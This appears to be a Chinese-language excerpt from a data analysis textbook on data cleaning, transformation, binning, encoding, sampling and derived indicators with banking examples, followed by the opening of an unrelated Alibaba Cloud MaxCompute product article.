        从图2-9中可以看出,age和balance之间的相关性只有0.098,说明它们之间的相关性比较弱。计算变量间的相关系数,可以为后期进行模型构建、变量选择、衍生指标加工提供依据。在1.4节中,我们鼓励数据分析者能够输出两种价值,其实图2-8及其对应的解读就是一个很好的示例。
        在数据分析实践中,笔者强烈建议数据分析者能够花费大量的时间在数据探索的工作上。这样既能保证数据分析者对业务的深刻理解,也能为后续的数据预处理奠定非常好的基础。
        image.png

        图2-9 双变量相关矩阵的示例

        2.2数据预处理

        数据的重要性在大多数情况下都超过了算法的重要性。数据预处理是数据分析过程中的一个重要步骤。多年以来,人们在数据质量上的持续投入大幅减少了越界、缺失、不一致等问题。但是,数据质量问题仍然存在。数据分析者应当对数据质量时刻保持警惕,因为质量很差的数据是很难得到有用的分析结果的。既然数据质量问题不可避免,那么处理它们是数据预处理的工作之一。数据预处理的完整工作应当包括数据清洗、数据集成、数据变换和数据归约处理。

        2.2.1数据清洗

        数据清洗就是发现和改正(或移除)不准确或不精确的数据。数据仓库的数据治理模块重点关注数据质量问题,并拥有完善的数据清洗功能。本书讨论的数据清洗的工作,在数据仓库的管理者看来,是属于他们的工作范畴。但是,我们并不认为,从数据仓库中出来的数据都是没有问题,况且数据分析的数据源并不只有数据库或者数据仓库。在数据分析领域,常用的数据清洗包括以下几种:
        1. 缺失值的处理
        处理缺失值是最为常见的数据清洗工作。在数据分析中会遵从一些规则来填补缺失值。比如:

        • 对于连续型变量,采用均值来代替缺失值;
        • 对于序数型分类型变量,采用中位数来代替缺失值;
        • 对于分类型变量,采用众数来代替缺失值。

        2. 越界值的处理
        少数的越界值会被当作离群值来处理;大量的越界值需要通过业务知识来判断。比如,对于银行客户的资产负债比,如果有较多人是负数,就需要高度怀疑数据的加工方式出现了问题。因为从业务角度来看,这种情况不可能是普遍现象。
        Python提供了很多方法来处理缺失值。最简单的方法是调用replace函数或者直接调用DataFrame中的fillna函数进行缺失值的替换。
        image.png
        上述代码用来填充空白值,其运行结果如图2-10所示。
        image.png

        图2-10 数据空白值填充的示例

        对于越界值的处理会更复杂,因为需要用不同的业务知识来判断越界值产生的原因,然后再决定越界值的处理方式:是简单地将越界值移除,还是对越界值进行纠正?但这些操作的前提是先识别越界值。对于连续型的变量,可以采用Z-score将数据变换成均值为0、标准差为1的数据,然后Z-score的值超过3~-3的数据都会被认为是越界值,并将这些值从数据中去除。
        image.png
        从上述代码的处理结果中可以看出,有5002(初始数据有45211行,过滤离群值后有40209行)行包含离群值的数据被过滤掉。类似于拼写错误、值与字段含义不匹配等数据清洗的工作,一般都需要借助一些批处理的脚本来处理。
        在一些数据预处理工具中,针对一些情况,其会自动做一些处理,比如:

        • 如果一个变量的缺失值比例大于设定阈值(默认是50%),那么该变量将被忽略;
        • 对于连续型变量,如果该变量的最大值等于最小值(即为常量),那么该变量将被忽略;
        • 对于分类型变量,如果该变量的众数在记录中所占比例大于设定阈值(默认是95%),那么该变量将被忽略。

        image.png
        在上面的例子中,第一个条件使用isnull()函数标记数据中全部的缺失值,再通过mean()函数计算缺失值所占的比例,最后判断是否大于设定的阈值;第二个条件判断数据的每一个值是否都相同(是否是常量);第3个条件通过value_counts()函数和max()函数计算数据中每一个变量众数的比例,并判断是否大于设定的阈值。我们只要通过这样一条语句就可以完成上述所有的数据预处理过程。经过这些条件的处理,数据变成了16个变量,说明其中一个变量因为满足这些条件而被忽略了。下面我们单独执行每一个条件,看看是什么条件被触发了。
        在图2-11中,分别执行数据预处理的3个条件,我们看到“已授信”字段触发了“众数比例大于95%”这个条件而被忽略。基于这个原因,初始数据集从17个字段变成了最终的16个字段。
        image.png

        图2-11 分别执行数据预处理的3个条件,查看触发条件

        2.2.2数据变换

        对于连续型变量,如果该变量的取值的个数小于设定阈值(默认是5),那么将该变量转化为有序型分类变量。对于有序型分类变量(数值类型),如果该变量的类型的个数大于设定阈值(默认是10),那么将该变量转化为连续型变量。
        1. 连续型变量的变换
        对于连续型变量,为了保证数据中不同的字段保持同样的尺度(这样既可以防止某些字段在建模过程中发生溢出,又可以保证每一个字段在模型中的权重相同),我们需要进行一些尺度变换的操作。分箱(binning,又称离散化)是将连续型数据转换为分类型变量,转换的目的是提高变量的解释性。
        (1)尺度变化
        为了使数据尺度一致,可以对原始数据进行中心化、标准化、归一化、Z-score变换、最小-最大值变换等。在表2-7中我们列举了典型的数据转换方法。
        (2)分箱变换
        对于一些连续型变量,从业务和数据特点上考虑,需要将连续型数据变为分类型数据,可以进行binning操作,常用的分箱变换方法如表2-8所示。
        分箱技术的方法有很多种,比较常用的有下面的3种方式:

        • 等宽度间隔(Equal Width Intervals);
        • 基于已扫描个案的等百分位(Equal Percentiles Based on Scanned Cases);
        • 基于已扫描个案的平均值和选定标准差处的分割点(Cutpoints at Mean and Selected Standard Deviations Based on Scanned Cases)。

        表2-7 典型的数据转化方法

        image.png

        表2-8 分箱变换方法

        image.png
        从中位数直接将连续型数值划分为两个分组是比较常见的等宽度间隔的分箱做法。在偏峰的情况下,是可以划分出明显的高低两个分组的,如图2-12所示。
        image.png

        图2-12 采用中位数对连续型变量进行划分

        在没有具体业务要求的情况下,上述三种方式都是合适的。但是我们在一个关于银行的实际案例中,遇到这样的一种情况:当对某个连续值进行分箱时,遇到的问题不仅仅是等宽或者等值的问题,真正的问题是怎么样的分箱对业务具有指导意义。不同的分箱,每个值的背后都是一批客户,而在银行的营销力量有限的情况下,必然需要对不同的群体采取不同的策略。最为简单的策略就是,对高价值的客户采用费用较高但是可能带来高回报的营销活动,而对低价值的客户,则可以采用费用较低的营销。并且往往低价值的客户是占多数的,其分布大多如图2-13所示:
        image.png

        图2-13 很多情况下,低价值的客户总是占多数

        针对如图2-13所示的分布,等宽分布、等值分布都比较难以确定“什么样的阈值可以区分高价值客户、低价值客户”。所以,我们采用了经典的“80%~20%”的方法,即80%的客户可能会贡献较少的价值,而20%的人往往会贡献较多的价值。图2-14代表了一种典型的分箱策略。
        image.png

        图2-14 按照80%-20%的划分能够将高价值的客户显著区分出来

        我们采用2.1.4节中的数据集来展现分箱的实例。在银行的营销活动中,营销产品的设计往往关注客户的年龄。不考虑客户的职业等其他的特征,一般青壮年客户有成家立业的金融需求,中老年的客户则倾向于投资、存款等。所以,年龄阶段的划分(分箱)可以作为一个衍生字段。
        为此,我们用SciKit-learn中的KBinsDiscretizer来生成衍生字段。KBinsDiscretizer提供了3种分箱策略:

        • uniform:每一个分箱都有相同的宽度;
        • quantile:每一个分箱都有相同的数据个数;
        • kmeans:分箱中的每个值都具有与kmeans聚类相同的最近中心。

        利用KBinsDiscretizer对2.1.4节中的数据进行年龄变量的分箱操作,使用上述3种分箱策略生成3个衍生字段:“年龄分箱_uniform”“年龄分箱_quantile”和“年龄分箱_kmeans”,分箱时选择的分箱数是6,然后对原始变量“年龄”,以及3个衍生字段再次进行数据探查,查看数据分布的变化。
        image.png
        上述代码生成3个分箱的结果,通过查看前5行数据(如表2-9所示)可以看出3个分箱的决策是各不相同的,如年龄58,按照uniform策略,则属于编号是“3.0”的分箱区间;按照quantile策略,则属于编号是“5.0”的分箱区间;按照kmeans策略,则属于编号是“3.0”的分箱区间。

        表2-9 3种分箱策略的结果示例

        image.png
        我们还可以通过查看分箱前后的柱状图来观察和理解各个分箱结果的不同。图2-15所示是源数据的分布以及3种分箱策略的结果展示。
        image.png

        图2-15 源数据分布及3种分箱策略的结果示例

        从年龄变量的分布来看,该银行的客户主要是30岁到40岁的青壮年,小于30岁的客户很少,而年龄超过60岁的客户更少,这个结果间接印证了前面所进行的数据探索的结果——60岁是一个财富的分割点。使用uniform分箱策略生成的衍生字段因为每个分箱的宽度相同,因此基本上保留了年龄变量的分布特征。
        而使用quantile分箱策略生成的衍生字段却完全改变了数据分布的情况。因为这个分箱策略是使每一个分箱中包含数量基本相同的数据,所以其分布得也非常均匀。我们通过KBinsDiscretizer的bin_edges_方法查看使用quantile分箱策略进行的分箱操作,其分箱边界为18~31、31~35、35~39、39~45、45~52和52~95。其在年龄分布非常集中的区间,分箱非常密集。其中31~45岁这个区间就包含了3个分箱。
        使用kmeans分箱策略相当于对年龄变量进行了6个聚类的kmeans聚类操作。因为是基于kmeans算法,取值更接近的数据会被划分在一个聚类里,所以kmeans分箱策略也基本上保留了年龄变量的分布特征,其分箱边界也基本上接近于uniform的分箱边界。
        2. 分类型变量的变换
        在很多的机器学习的算法实现中,在调用算法之前,会首先对分类型数据做一些变换。这些变换会提高模型的稳定性。比较常见的变换如表2-10所示:

        表2-10 分类型变量的变换

        image.png
        对于分类型变量,为了在模型中体现出分类型变量自身的特点,比如每个类型只是一个标记,无大小之说,每个类型都可以作为一个独立的参数参与模型构建,这样可以对分类型变量做数值编码,变换为虚拟dummy变量或者成为标记indicator变量。
        对于某些分类型变量,其类型是名义nominal变量,为了提高模型的稳定性,需要对分类型变量的各个类型按照其数据量的多少重新排序。这样原来的类型标记被重新编码和排序。对于某些数据集,其含有一系列相关的多个分类型字段,各个字段存在业务逻辑上的关系,并且各个字段的取值也存在关联。这样,我们就可以将这些字段合并为一个字段。这样做既可以减少模型的维度和复杂度,也可以消除各个自变量之间的相关性,保持彼此的独立性,提高模型的质量。
        (1)类别的数值编码
        当训练模型时,数据集中的字段包含符号字段(或者称为分类字段)时,而且该字段也需要被用来参与建模,并且该模型算法需要使用所有记录的数值来进行算法计算。这种情况下就对符号字段提出了挑战,那么如何用数值来表示该符号字段的各个分类呢?
        一般的做法是将该符号字段编码为一组数值字段,该组数值字段的个数等于该符号字段的分类个数,一个分类对应一个数值字段。对于该符号字段的每一个取值,对应于该值的那个数值字段的值均被设置为1,其他数值字段的值均被设置为0。这组数值字段(或者称为衍生字段)被称为indicator(指示)字段,或者dummy(虚拟)字段。
        如表2-11所示,对于下列3条数据,X是一个符号字段,取值为A、B、C,那么它可以被转化为衍生字段X1、X2、X3。

        表2-11 分类型变量的变换为dummy字段

        image.png
        从表2-11中可以看出,符号字段的分类A被编码为(1 0 0),B被编码为(0 1 0),C被编码为(0 0 1)。
        按照此方式编码后,这些符号字段被转换为一系列取值为0和1的稀疏矩阵。在建模的计算过程中,所要估计的模型参数的个数就会增加,但在实际的运算中,只有取值为1的变量需要参与计算,其他取值为0的变量可以忽略,这样可以极大地节省内存空间并提高计算效率。当模型参数被估计出来后,建模过程完成时,我们可以从模型结果中得到该字符变量的各个分类变量对应的模型参数和重要性。
        在算法的具体计算过程中,经常会用到“类别的数值编码”的方式,将类别型的字段转换为dummy字段。下面的例子就说明了这个过程。
        我们采用一个员工个人信息的数据集,包括字段:id(员工编号),gender(性别),bdate(出生日期),educ(教育程度),jobcat(工作类别),salary(工资),salbegin(起始工资),jobtime(工作时间),prevexp(先前经验),minority(民族)。该数据集如表2-12所示。

        表2-12 员工个人信息的示例

        image.png
        我们根据educ,jobcat,salary,salbegin字段来预测gender字段,此处选取Binomial Logistic Regression二项逻辑回归模型,使用GLM模型来完成。虽然该模型并不具有实际意义,但是可以说明符号型字段在建立模型中起到的作用。
        educ为取值8、12、14、15、16、17、18、19、20、21的数值型分类变量,但其是有顺序的,被称为ordinal有序分类变量;jobcat为取值Clerical、Custodial和Manager的三值字符型分类变量,是无顺序的,被称为nomial名义分类变量;salary和salbegin为连续型变量;gender为取值f和m的二值字符型分类变量,被称为flag标记变量或者nomial名义分类变量。对于建立的模型来说,educ、jobcat、salary、salbegin作为预测变量,gender作为目标变量。一般在回归模型中,educ和jobcat被称为factor因子变量,salary和salbegin被称为covariates协变量。
        我们采用Python 类库StatsModels建立二项回归模型。由于educ的值是数字,所以需要使用C操作符定义其为分类型变量 ;因为jobcat的值是文字,模型会自动识别其为分类型变量。通过使用StatsModels建立模型,所使用的相关Python脚本如下:
        image.png
        上述代码运行得到的结果如下:
        image.png
        从结果中的Coefficients的个数可以看出,educ和jobcat分类型变量被转化成了dummy虚拟变量,分别只显示了分类个数减1个系数,说明未被显示的那一个系数成了冗余。对于分类型字段来说,一般其中的一个分类都会被设置为冗余,这个特性在其他的机器学习模型算法中都适用。我们用jobcat作为例子,其包含Custodial、Manager和Clerical,使用两个虚拟变量jobcat[T.Custodial]和jobcat[T.Manager]来表示这3个可能的取值。如果jobcat[T.Custodial]等于1,表示jobcat的取值是Custodial;如果jobcat[T. Manager]等于1,表示jobcat的取值是Manager;如果jobcat[T.Custodial]和jobcat[T. Manager]都不等于1,表示jobcat既不是Custodial,又不是Manager,则jobcat为Clerical。进而从P-value显著性指标可以看出salbegin对gender的影响最大,起决定性作用,说明起始工资对性别的影响最大。
        利用残差分析来验证该模型是否适合该数据。因为残差等于变量真实值和预测值的差,线性模型越准确,残差的分布就越接近于0,所以通过残差分析来观察残差的分布是否主要分散在0的周围,就可以判断该线性模型是否适合该数据。
        从图2-16所示的残差的分布来看,残差点比较均匀地分布在水平带状区域中,大多数点集中在0点,0点两边的点分布比较分散,说明这个线性回归模型比较适合该数据。
        image.png
        image.png

        图2-16 模型的残差分布

        (2)关联字段的合并
        稀疏矩阵是数据分析时一种常见的数据形式。所谓稀疏矩阵是指一个矩阵(二维或多维)中,非零元素的值占很小的一部分,绝大多数元素取值为零,并且非零元素的分布一般没有什么规律。笔者在做一个实际的项目时,遇到一个稀疏矩阵的问题:二维表中的每一列代表客户持有的产品状态,1代表持有,0代表未持有。要找出客户持有产品的规律,就是将稀疏矩阵中每行的取值转化为一个字符串,即字符串“0000000000”代表十列数据取值都为零的情况。通过这种方式,其实是用新的一列代表了原来10列的数据信息,可以很方便地看出客户持有产品的状态。图2-17所示就是一个典型的例子。
        3. 分布变换
        在大多数模型中,都要求因变量服从和接近正态分布,正态分布是统计建模的基石,是许多模型的理论基础。本节将描述如何识别数据是否是正态分布,如果针对不同的数据类型采用其适用的变换方法,将其变换为正态分布。这些变换包括反正弦和反余弦变换、平方根变换、对数变换、Box-Cox变换等。
        image.png

        图2-17 由一个衍生字段代表原来10列数据的信息

        (1)反正弦和反余弦变换
        image.png
        其中,p为正整数,这种变换适用于百分比形式的数据,通过把分布曲线的尾部拉长、中部压缩,使得弱负偏和弱正偏的不对称分布接近于正态分布。
        (2)平方根变换
        image.png
        其中,c为常数,这种变换使正偏数据接近正态分布,常用于服从泊松分布的离散型数据。
        (3)对数变换
        image.png
        其中,c为常数,这种变换常用于服从对数正态分布的数据,对于正偏偏度很大的数据也很适用。由于这种分布是偏斜的,很可能出现零值,往往需要加上一个常数c。如果使c取值为0,那么要求因变量的所有取值都为非负数。
        (4)Box-Cox变换
        image.png
        其中,c为常数,为了确保X-c大于0。Box-Cox变换可以被看作一个变换族,该变换族中有一个待定变换参数,取不同的值,就是不同的变换。当参数为0时是对数变换,参数为1/2时是平方根变换,参数为-1时是倒数变换。变换后的因变量服从正态分布。由此可以看出Box-Cox变换适用范围很广,其最大的优势在于将寻找变换的问题转化为一个估计参数的过程,通过极大似然估计来估计最优的参数。
        对数据分布的挑剔,并不是所有的算法都是一致的。广义线性模型支持众多的分布类型,比如伽马分布、泊松分布、逆高斯分布、二项分布,多项分布等。线性回归算法是基于变量都是正态分布这样的假设来设计算法的,所以数据分布的改善能显著提高模型的精准度。
        为了说明分布的变化如何改善模型效果,我们采用表2-12所示的员工个人信息数据集,通过salary、prevexp、jobtime、jobcat、gender、educ、minority等字段来预测salbegin
        字段。
        第一步,我们查看因变量的分布,如图2-18所示。
        image.png

        图2-18 因变量的分布

        从图2-18中可以看出,因变量大致服从对数正态分布,且数据的取值集中于20000附近,其他区域几乎没有取值,说明数据的分布比较偏。
        我们首先不对因变量进行转换,而是直接进行回归分析,代码如下。
        image.png
        得到的结果如下:
        image.png
        从Coefficients的结果可以看出,除了minority和gender的Male变量外,其他自变量都是显著的,对模型的估计贡献显著;然后从R-squared的结果可以看出,模型的拟合程度为0.812,修正后为0.806;最后从F检验的结果可以看出,模型整体是显著的。
        如果对因变量做对数转换,会显著改变其分布,即从一个类似指数分布的状况改变为接近正态分布的状态,如图2-19所示。

        image.png


        图2-19 因变量做对数转变后的分布

        对因变量做指数变化后再建模,会发生什么样的变化?对数变化的效果到底如何?我们通过建模过程就可以看到,代码如下。
        image.png
        上述代码的执行结果如下:
        image.png
        从Coefficients的结果可以看出,除了jobcat的Custodial变量外,其他自变量都是显著的,对模型的估计贡献显著;然后从R-squared的结果可以看出,模型的拟合程度为0.852,修正后为0.847;最后从F检验的结果可以看出,模型整体是显著的。
        比较两个模型的结果,从中不难看出,模型的拟合度提高了。这说明变换后的数据能拟合出质量更高的模型,这得益于变换后的因变量更能服从正态分布。

        2.2.3数据归约

        数据归约(Data Reduction)是指在理解数据分析任务和数据本身内容的基础上,寻找依赖于发现目标的数据的有用特征,以缩减数据规模,从而在尽可能保持数据原貌的前提下,最大限度地精简数据量。数据归约主要从两个途径来实现:
        1. 属性选择
        属性选择就是通过有意而为之的动作,从大量的属性中筛选出与目标值(针对有监督的模型)或业务目标(针对无监督的模型)相关的属性,并将大量的不相关的数据摈弃。
        这个过程既是一个主观判断的过程,也是一个需要通过技术手段计算相关性来选取的过程。主观判断体现了业务理解、业务经验和数据分析的经验。我们将在第6章专门讨论指标的选取过程。
        2. 数据采样
        从总体(Population/Universe)中确定抽样范围(Sampling Frame)并进行抽样,通过对样本的研究来估计或反映总体的特征,是经典的数据分析过程。
        通过样本来估计总体特征的统计分析方法,或者通过对历史数据进行抽样并经过模型训练学习模式的数据挖掘,都是基于图2-20所示的思路进行的。
        image.png

        图2-20 数据采样的一般过程

        在大数据时代,我们可以不需要通过样本来估计整体的特征,因为新的计算平台已经可以支持对海量数据进行快速处理。对均值不需要估计,直接计算即可。
        但是,对于如预测、聚类分析等数据挖掘的场景,在大数据时代,采样仍然是必需的。在很多情况下,并不是样本越大(不论是列还是行)就意味着模型越好。笔者认为,经过深入的业务理解和数据理解后,针对具体的建模目标进行有效的衍生指标的加工才是最主要的。作者不否认很多时髦的算法能从数千个甚至数万个指标中快速计算并筛选出有效指标,如利用Lasso-logit算法在大数据平台上的实现,可以实现对近万个指标在数分钟内的快速筛选。这确实给指标的选取提供了极大的便利,貌似只要会将数据抽取出来并调用这些工具,大数据能很“智能”地做出计算和选择。其实,在数据挖掘的过程中,最为主要的是对业务的理解和衍生指标的加工。衍生指标往往能起到事半功倍的效果,它体现了建模的技巧,也体现了对问题的理解程度。
        总的来说,抽样分为两种大的类型:典型抽样(Representative Samples)又称概率抽样(Probability Samples),抽样时没有人的主观因素加入,每个个体都具有一定的被抽中的概率;非典型抽样(Non-representative Samples)又称非概率抽样(Nonprobability Samples),抽样时按照抽样者的主观标准抽取样本,每个个体被抽中的机会不是来自本身的机会,而是完全来自抽样者的意愿。一个比较完整的抽样种类的图表如图2-21所示。
        image.png

        图2-21 典型的采样类型

        概率抽样适用的场景是采用样本数据来体现整体的特征,包括以下几种:

        • 简单随机抽样(Simple Random Sampling)。保证大小为n的每个可能的样本都有相同的被抽中的概率。例如,按照“抽签法”“随机表”法抽取数据对象。其优点是:随机度高,在特质较均一的总体中,样本具有很高的总体代表度。
        • 系统随机抽样(Systematic Random Sampling)。将总体中的各单元先按一定顺序排列并编号,然后按照不一定的规则抽样。其中最常采用的是等距离抽样,即根据总体单位数和样本单位计算出抽样距离(相同的间隔),然后按相同的距离或间隔抽选样本单位。例如,从1000个电话号码中抽取10个访问号码,间距为100,确定起点后每100个号码抽一个访问号码。其优点是:操作简便,且与简单随机抽样相比,在一定条件下更能体现总体的特征。
        • 分层随机抽样(Stratified Random Sampling)。把调查总体分为同质的、互不交叉的层(或类型),然后在各层(或类型)中独立抽取样本。例如,调查零售店时,按照其规模大小或库存额大小进行分层,然后在每层中按简单随机方法抽取大型零售店若干、中型零售店若干、小型零售店若干;调查城市时,按城市总人口或工业生产额分出超大型城市、中型城市、小型城市等,再抽出具体的各类型城市若干。从另一个角度来说,分层抽样就是在抽样之前引入一些维度,对总量的群体进行分层或分类,在此基础上再次进行抽样。
        • 整群抽样(Cluster Sampling)。先将调查总体分为群,然后从中抽取群,对被抽中群的全部单元进行调查。例如,在人口普查时,可以按照地区将人口分为几个群体,然后选取某个群体,研究该群体内所有个体的特征,据此来推断该地区的人口特征。

        非概率抽样都是按照抽样者的意愿来进行的,典型的方式有以下几种:

        • 方便抽样(Convenience Sampling)。根据调查者方便选取的样本,以无目标、随意的方式进行。例如,街头拦截访问(看到谁就访问谁);个别入户项目(谁开门就访问谁)。
        • 判断抽样(Judgment Sampling)。由专家判断而有目的地抽取他认为“有代表性的样本”。例如,社会学家研究某国家的一般家庭情况时,常以专家判断方法挑选“中型城镇”进行;在探索性研究中,如抽取深度访问的样本时,可以使用这种方法。
        • 配额抽样(Quota Sampling)。先将总体元素按某些控制的指标或特性分类,然后按方便抽样或判断抽样选取样本元素。 配额抽样相当于包括两个阶段的加限制的判断抽样:在第一阶段需要确定总体中的特性分布(控制特征),通常,样本中具备这些控制特征的元素的比例与总体中有这些特征的元素的比例是相同的,通过第一步的配额,保证了在这些特征上样本的组成与总体的组成是一致的。在第二阶段,按照配额来控制样本的抽取工作,要求所选出的元素要适合所控制的特性。

        在日常建模过程中,比较常用的抽样方法是简单随机抽样。在抽样结束后,可以通过一些简单、易用的方式来判断样本的某一特征是否体现了总体的特征。
        图2-22中就是抽取了两个样本,并且比较了某个关键指标在两个样本、全集上的分布,据此来判断三者之间的差别。从图中可以看出,三者之间几乎没有多少差别,即可以认定样本可以用来代表全集的特征。
        image.png

        图2-22 两个样本、总体的关键指标的分布

        2.3衍生指标的加工

        在探索了数据的基本统计信息后,我们掌握了数据的分布特征等信息;接着又对数据做了预处理,过滤了缺失值和离群值,转变和处理了数据类型,提高了数据的质量。本节进一步对数据从字段上进行加工,从尺度、分布上进行变换,满足不同的业务和建模需要,变换后的字段更能满足模型需要,由此引出了本节的衍生指标的加工。

        2.3.1衍生指标概述

        所谓衍生指标(Derived Field)是指利用给定数据集中的字段,通过一些计算而加工产生一些新的指标。创建衍生指标是数据分析过程中最具创意的部分之一,是数据分析者必须具备的基本技能之一。衍生指标将人们的见解融入建模的过程中,使得模型的结论充分体现了业务、市场的重要特征。精心挑选的衍生指标能增强模型的可理解性和解释能力。
        一般来说,对数据和变量进行加工和转换的主要目的是统一变量的数据尺度,使变量尽可能为正态分布,使变量之间的非线性关系转换为线性关系,使变量便于用简单自然的方式表示,帮助理解数据的特征,等等。不同的变换方法试图达到不同的目的,不同的模型对数据和变量的要求不同。譬如大多数多元统计方法要求变量的尺度一致,要求因变量服从正态分布。变量的变换一定要根据模型和业务的需要合理地进行。
        衍生指标的创建主要体现了数据挖掘者对业务和目标的理解程度,体现了其解决问题的能力、对数据的敏感度和经验等。所以,衍生指标的创建在更多的时候是针对分析目标将既有指标进行加工。比如,银行的数据仓库针对每月的数据都进行了汇总,但是如何知道客户近期的活跃程度呢?一个简单的衍生指标就是“最近6个月平均每月的交易次数”,这就是一个很好的指标。这个指标的加工方式就是读取最近6个月的每月交易次数(很可能每个月都会对应于一张表),然后求一个平均值即可。
        在进行数据分析的过程中,可以采用一个做法:将各个字段的数据都看作不断“说话”的部件。当面对很多部件时,就好比处在了一个嘈杂的环境中,数据分析者应当用一个平和的心态,通过查看数据分布、查看与目标变量的相关关系、加工衍生字段等方式,认真挑选这些字段。笔者一直认为,不论字段的数据质量到底如何,它们都是在不断地向我们“诉说”着什么,有些在诉说客户的价值,有些在诉说客户的行为,而数据分析者需要善于倾听和选择。笔者非常认可《数据挖掘技术》 中提到的衍生指标的加工方法介绍。在实际的项目中,这些方法非常实用。所以在接下来的小节中,我们参照了该书中的大纲安排,但内容来自笔者的实际项目总结。

        2.3.2将数值转化为百分位数

        数值体现被描述对象的某个维度的指标大小,百分比则体现程度。在有关银行的项目中,数据仓库中的大多指标都是在如实反映客户某指标的大小,如存款余额、理财余额等。这些指标在忠实地描述客观事实,利用它们可以轻易加工出业务含义明确的衍生指标,如客户的理财偏好程度:
        image.png
        理财偏好程度=同一时间窗口中资产余额均值(存款余额 + 理财余额 + …)×100%
        该百分比越大,表明客户对理财的偏好程度越高。该衍生指标可以直接通过离散化对客户群体进行划分,也可以作为输入变量去构建各种模型(如预测、聚类等)。像这样的指标加工方式,在实际项目中可以灵活采用。

        2.3.3把类别变量替换为数值

        大多数算法在实际运算的过程中,都需要将分类型变量首先转换为数值型变量,然后才能进行计算。在本章的2.2.2小节中,也介绍了将分类型变量转换为数值型变量的方法:转为dummy虚拟变量,然后才参与模型计算。这种方法可以在调用算法之前作为数据预处理的步骤来进行,也可以直接交给算法去处理(算法的实现过程已经包含了该过程)。
        但是从另一个方面来说,类别变量具有很重要的业务含义。比如,客户资产的类别:富裕客户,就是一个非常有实际业务指导意义的指标。有时,为了将连续型变量转换为分类型变量,这牵扯到分箱时的阈值划分,往往需要从数据分布和业务指导意义两个方面同时考虑。所谓富裕客户,一定是某些数值型变量达到一定的阈值,才会有这个标签。
        在构建模型之前,最好不要将一些数值型变量转化为分类型变量。这会很大程度上伤害模型的性能。图2-23所示就是一个用SAS决策树算法生成的模型结果。如果在建模之前,我们生硬地将字段“Has_Bad_Payment_Re…”离散化,其结果在很大的程度上不会是以0.5作为阈值,那么该字段就不会那么重要(决策树的第二级节点),它的重要性很可能就会被别的字段所代替而导致我们得不到非常有用的业务规则,模型的性能也会显著下降。
        image.png

        图2-23 一个SAS决策树算法生成的模型结果

        从实际业务指导的角度来看,分类型变量的易用性远远大于数值型变量。从模型算法的角度来看,采用数值型的指标会显著提高模型的性能。针对“富裕客户”这样的指标值,在建模时为模型性能考虑,最好是将其代表的数值直接使用而摈弃分类型变量。

        2.3.4多变量组合

        多变量组合去计算出一个新的指标,是非常常用的衍生指标的计算方式,如针对银行客户的信用评级指数:
        image.png
        其中,字段1至字段4是一些既有的字段;P则是通过一系列的计算和分析,最终确定这些字段的组合方式得出的综合指标。在笔者最近进行的一个数据分析项目中,我们首先使用回归算法确定目标值与自变量之间的线性关系,这个关系体现了“什么样的投入会导致什么样的结果”:
        image.png
        上述公式其实也是线性回归算法通过训练而得到的“模式(Pattern)”。根据这个公式,将其中一个自变量作为因变量,而原来的因变量变为自变量,来反推“当要达到预期的某个值时,需要多少投入”:
        image.png
        这是一个典型的goal seek过程,只是“需要多少投入”这样的结果完全可以作为一个新的衍生字段被计算出来。
        在金融行业非常关注客户的“未来价值”,不同的价值给银行带来的收益也会大不相同。未来价值由很多方面来决定,如客户所从事的行业、教育程度、目前的资产、年龄、地区、家庭的经济状况等。这些数据很多是银行所不具备的,但是其可以借助一个比较简单的方式来估算:
        image.png
        这是一个没有严格数学含义的衍生指标,并且只能处理年龄在[25,60]区间以内的客户。但是该指标的业务含义却比较清晰:未来价值与客户当前年龄和当前的资产余额有很大的关系,该算法得到的结果值越大,表现出客户的未来价值越大;该值越小,客户的未来价值越小。

        2.3.5从时间序列中提取特征

        时间序列数据是指在不同时间点上收集到的数据,这类数据反映了某一事物、现象等随时间的变化状态或程度。设备的监控数据、温度随时间的变化、股票大盘随时间的波动等都是典型的时间序列数据。针对时间序列数据,有很多的专用算法可以用来做分析,如差分自回归移动平均模型(ARIMA)。
        在应用非专门处理时间序列的算法时,有时需要从时间序列数据中提取一些典型有用的数据作为一个变量输入。比如,在预测性维护的场景中,设备是否需要维护或是否会出现故障的模型训练,需要将设备监控的数据做一些转换,作为预测模型的预测变量。如图2-24所示,可以将出现故障前兆的异常数据进行计数,或者通过计算方差的大小来体现指标的变化幅度,作为体现设备状态的典型指标来预测目标变量的取值。
        image.png

        图2-24 监控信息中包含故障出现的前兆

        ]]>
        阿里巴巴飞天大数据平台计算引擎MaxCompute最新特性 Fri, 02 May 2025 09:39:04 +0800 摘要:距离上一次MaxCompute新功能的线上发布已经过去了大约一个季度的时间,而在这一段时间里,MaxCompute不断地在增加新的功能和特性,比如参数化视图、UDF支持动态参数、支持分区裁剪、生成建表DDL语句功能等功能都已经得到了广大开发者的广泛使用。那么,近期MaxCompute究竟还有哪些新特性呢?本文就为大家揭晓答案。

        以下内容根据视频以及PPT整理而成。

        MaxCompute与阿里云大数据产品解决方案

        在介绍MaxCompute新功能前,我们先快速对阿里云的大数据产品解决方案进行介绍,以便不熟悉MaxCompute的朋友能快速建立认知。
        阿里云大数据解决方案中包含了数据接入、数据存储及处理分析、数据服务以及在线应用等这样的几个维度。通常的情况下,基于MaxCompute和阿里云大数据解决方案搭建的系统会通过DataWorks实现离线多源异构数据的同步,并向MaxCompute大数据平台加载数据。与此同时,借助于DTS日志服务、Kafka消息队列服务实现对实时数据的收集。之后,通过流式计算服务实现对于数据的实时计算和分析,并将数据投递到实时在线的服务或者回流到统一的数据仓库服务中去。数据落盘保留下来之后,将进行数据仓库相关的处理分析,加工成为可以被业务消费、高质量的数据集。同时,利用机器学习平台可以开展包含数据准备、模型训练、模型部署在线推理在内的完整智能应用。

        在数据服务(data serving)维度,阿里云大数据产品解决方案中也提供了多种的服务,包括了关系型数据库、分析型数据库、ES等,这些服务能够帮助用户加速在面向在线应用场景下的数据消费。同时,阿里云大数据产品解决方案还能够与阿里云线上的Quick BI、DataV以及第三方客户自行购买的BI等工具进行结合。在云上大数据场景下,DataWorks则承担的是整体的数据开发、编排调度以及数据管理的职能。

        What's New?MaxCompute产品近期发布预览

        本次分享面对的主要群体是对于阿里云MaxCompute产品有所了解并且有一定使用经验的客户,因此所介绍的内容会比较细致,但不会过多展开相关背景及原理介绍,更多地会面向MaxCompute已有的问题以及新推出的特性本身进行分享。

        image.png

        近期以来,MaxCompute大约每三个月就会迭代一个大版本发布到线上,而中间则会有很多个小版本。到8月份的时候,已经距离上次MaxCompute线上发布会经过了大约一个季度的时间,因此需要再做一次新特性的发布。所以本次分享不仅涵盖了MaxCompute针对日常需求的功能发布,也包括了大版本发布的内容。

